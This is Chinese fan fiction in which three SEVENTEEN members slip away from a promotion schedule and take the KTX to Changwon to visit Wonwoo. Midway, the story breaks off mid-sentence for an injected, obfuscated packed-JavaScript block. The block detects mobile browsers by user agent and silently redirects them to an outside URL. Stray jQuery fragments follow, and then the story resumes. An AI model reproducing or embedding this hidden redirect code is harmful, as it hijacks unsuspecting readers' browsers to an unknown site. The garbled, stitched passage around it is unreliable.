盛夏，蝉鸣撕扯着首尔的天空，像无数把小提琴在烈日下走调。
《Very Nice》的打歌期像一场停不下来的狂欢，舞台上的少年们永远活力四射，仿佛有用不完的精力。
每当音乐响起，十三双脚同时跃起时，木地板会发出不堪重负的呻吟，汗珠在聚光灯下划出晶亮的抛物线。但音乐停止的瞬间，待机室的角落里总会多出一只孤零零的小狐狸玩偶——黑框眼镜歪歪斜斜地架在毛绒鼻梁上，镜片反射着顶灯惨白的光，像是某个缺席者拙劣的替身。
签售会结束后的深夜，宿舍浴室的水声刚停，林在勋就顶着半干的头发敲开了崔胜澈的房门。发梢的水珠滴在锁骨上，顺着胸前滑落，在T恤领口洇出深色的痕迹。
"胜澈哥，我要去昌源。"
崔胜澈正对着镜子摘耳钉，闻言手指一顿。
镜子里映出忙内被水浸湿的刘海下那双亮得惊人的眼睛——这孩子说"我要"的时候，从来不是商量。
"现在？"
"现在。"
二十一岁的总管队长叹了口气，他总说自己是SEVENTEEN和CARAT的管家，可某些瞬间分明还是那个会陪弟弟们疯的崔胜澈。
房间里安静得能听见窗外空调外机的嗡鸣，还有楼下便利店自动门开合的"叮咚"声。崔胜澈抬起眼睛，瞳孔里映着少年紧绷的下颌线，和那双即使在昏暗台灯下也亮得惊人的眼睛。
"忙内啊..."崔胜澈突然笑了，伸手揉了揉他潮湿的发顶，水珠溅在墙上的行程表上，把"音乐中心"几个字晕染成模糊的蓝，"想做的就去做吧。"转身时却已经摸出手机查KTX时刻表。
这句话像打开了什么开关，原本在客厅假装看电视的成员们瞬间涌到门口。权顺荣的拖鞋甩飞了一只，露出贴着创可贴的脚后跟——那是昨天练舞时磨破的；金珉奎嘴里还叼着半片面包，奶油沾在嘴角像粒可笑的白痣；徐明浩的睡衣纽扣系错了位置，衣领歪斜着露出半边锁骨。
十一个脑袋挤在狭窄的走廊里，眼睛亮得像夜行的猫科动物，瞳孔在黑暗中放大。
"什么？你们要偷渡圆佑哥？"李硕珉的惊呼被权顺荣一把捂住。
"是探望！探望！"仓鼠急得跺脚，"再说这么大声是想让楼下的经纪人哥听见吗？"
金珉奎抱着枕头滚到地板中央："我也要去！圆佑哥上次还欠我一顿烤肉！"
"疯了吗？被公司发现就完蛋了！"李灿抓着自己的头发。
"胜澈哥你怎么也跟着胡闹！虽然我也想去啦"夫胜宽气鼓鼓的。
尹净汉慢悠悠地从人堆里钻出来，发梢还滴着洗发水的柠檬香气。
他手指绕着发尾打转，这个习惯性动作让所有人都安静下来："要去也行，但得有人留下来应付公司突击检查..."
凌晨三点，经过激烈且幼稚的石头剪刀布角逐，最终由权顺荣、金珉奎和林在勋组成"昌源特攻队"。
行动派金珉奎负责路线规划，他立刻掏出手机调出地图，指尖在屏幕上划出复杂的折线；社交达人权顺荣担任气氛调解员，正往背包里塞各种零食和游戏机；而中韩双语精通的林在勋——"当然是负责看着两个哥哥啦！"夫胜宽笑得倒在李灿肩上，手指戳着忙内突然涨红的脸。
"呀，你们当这是小学生修学旅行吗？"尹净汉嘴上嫌弃，手里却已经往忙内背包里塞香蕉牛奶，"要是被公司发现..."
"就说我们去吃釜山鱼糕了。"洪知秀笑眯眯地递来墨镜，"反正昌源和釜山都在庆尚道嘛。"
李硕珉看着公司群聊实时报信，徐明浩负责在宿舍伪造"三人正在睡觉"的假象——方法是在被窝里塞满衣服再放个会定时播放打呼录音的旧手机。
"这能骗得过谁啊..."文俊辉扶额。
"骗不过就说是净汉哥的主意。"夫胜宽迅速甩锅。
被点名的天使大人正往忙内口袋里塞现金，闻言危险地眯起眼睛："嗯？"
李知勋抱着笔记本电脑冷笑，屏幕蓝光映着他眼下浓重的阴影："要是被社长nim发现，记得说是我逼你们去的。"
"哎一古，我们Woozi大人最好了！"金珉奎扑过去要亲，被对方用抱枕精准击中面部。抱枕是全圆佑常用的那个，还残留着淡淡的柑橘洗发水味。
经纪人是早上被攻陷的。三个少年围着他打转，权顺荣的眼睛湿漉漉得像被抛弃的小动物，睫毛在晨光中几乎透明；金珉奎一口一个"哥你最帅了"，还殷勤地递上刚买的冰美式；林在勋甚至掏出了手机相册："圆佑哥家附近有超好吃的参鸡汤店，哥不是一直说想尝尝正宗的口味吗，我们给你打包..."
"就两天！"经纪人最终竖起一根手指，指甲修剪得圆润的指尖微微发抖，"要是耽误打歌..."
"绝对不会！"三个声音同时响起，惊飞了窗外电线上的麻雀。
去车站的出租车上，权顺荣突然不安地揪住衣角。这件oversize的T恤是全圆佑落在他那儿的，领口已经洗得有些松垮。"要是...没见到人呢？"他小声问，手指无意识地摩挲着布料上几乎褪色的印花。
金珉奎也蔫了，额头抵着车窗："万一哥不想见我们怎么办？"玻璃被他呼出的热气蒙上一层白雾，指尖在上面画出的笑脸很快扭曲变形。
林在勋正低头核对地址，闻言眨了眨眼，睫毛在阳光下变成浅金色："那就当去昌源吃海鲜啊。"他从手机相册里翻出聊天记录，"我跟圆佑哥妈妈说了要带特产回去，阿姨连客房都收拾好了。"
"等等！"权顺荣猛地扑过来，安全带勒得他胸口生疼，"你怎么会有圆佑妈妈联系方式？！"
少年一脸无辜地划动屏幕，聊天记录上方显示"圆佑妈妈"的备注旁是个笑脸emoji："哥，你们没有吗？"他继续往下翻，"我存了所有成员父母的电话啊，还有珉舒的kakao..."
金珉奎和权顺荣的表情凝固了。车窗外的阳光把忙内翘起的发梢染成蜜糖色，他歪头时露出的虎牙闪着狡黠的光，像只得意洋洋的小豹子。
"呀林在勋！"金珉奎终于找回声音，耳尖红得快要滴血，"你什么时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993352|178052||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
候连我妹都..."
出租车一个急刹车，三个少年跌作一团。权顺荣的膝盖撞到前座椅背，金珉奎的面包片糊在了林在勋脸上，司机大叔从后视镜里看着这群打闹的男孩，摇了摇头："现在的年轻人啊..."车载广播正放着《Very Nice》，鼓点透过劣质喇叭变得有些滑稽。
首尔站的电子屏闪烁着列车时刻表，红绿相间的数字像某种密码。
站内商铺飘出的音乐声与广播女声机械的报站声混在一起，权顺荣把狐狸玩偶塞进背包前，最后调整了一下它的眼镜；金珉奎检查着带给全圆佑的专辑——封面上十四人的笑脸被保鲜膜仔细包好；林在勋站在自动售票机前，阳光透过玻璃穹顶落在他身上，在地面投下几道深浅不一的影子。
[开往昌原方向的KTX列车即将进站——]
广播声响起时，金珉奎突然抓住两人的手："我们这样...真的没问题吗？"他的掌心潮湿发热，脉搏在薄薄的皮肤下跳得飞快。
权顺荣反手与他十指相扣，另一只手掏出墨镜戴上，镜片上倒映着进站的列车："现在问是不是太晚了？"
林在勋已经迈开步子，背包上挂着的胡萝卜钥匙扣一晃一晃。
那是全圆佑去年送他的生日礼物，金属表面被磨得发亮。"快点，"他回头笑道，站台的穿堂风掀起他白色衬衫的衣角，"要错过车了。"
列车门缓缓关闭的瞬间，权顺荣突然想起什么似的，从车窗探出半个身子朝站台挥手。金珉奎拽着他的腰带大喊危险，林在勋则顺着他的目光看去——柱子后面，戴着鸭舌帽的李知勋正假装看报纸。
"被发现了！"金珉奎笑得前仰后合。
权顺荣缩回座位，墨镜滑到鼻尖："我就说wuli知勋尼怎么可能不跟来..."
列车加速时，窗外的景色开始模糊。
林在勋靠在窗边，指尖无意识地在玻璃上描摹。他想起上次和全圆佑一起坐KTX还是去年，那时对方指着窗外飞逝的樱花说"像不像彩带"，而现在已经是盛夏，樱花早就零落成泥。
"在想什么？"金珉奎捅了捅他的腰。
林在勋收回手指，玻璃上留下一个转瞬即逝的指纹："在想...圆佑哥看到我们会是什么表情。"
权顺荣从背包里掏出三罐可乐，易拉罐开启的声响像小小的爆炸："我赌他会哭。"
"我赌他会骂人。"金珉奎接过可乐，冰凉的铝罐在掌心凝结出水珠。
林在勋晃了晃可乐，气泡在罐底轻轻炸裂："我赌他会说''你们疯了吗''，然后给我们煮拉面。"他顿了顿，"加两个蛋的那种。"
列车穿过隧道时，黑暗笼罩了一切。
三个少年在突如其来的寂静中碰了碰易拉罐，金属相撞的声音清脆得像某种约定。当光明重新降临，他们看见彼此眼中映着同样的期待与忐忑，像即将拆开礼物的孩子，既怕不是自己想要的，又怕正是自己想要的。
窗外，盛夏的阳光依然炽烈，蝉鸣声被飞驰的列车甩在身后，而前方——昌原的风正吹过某个人的窗前。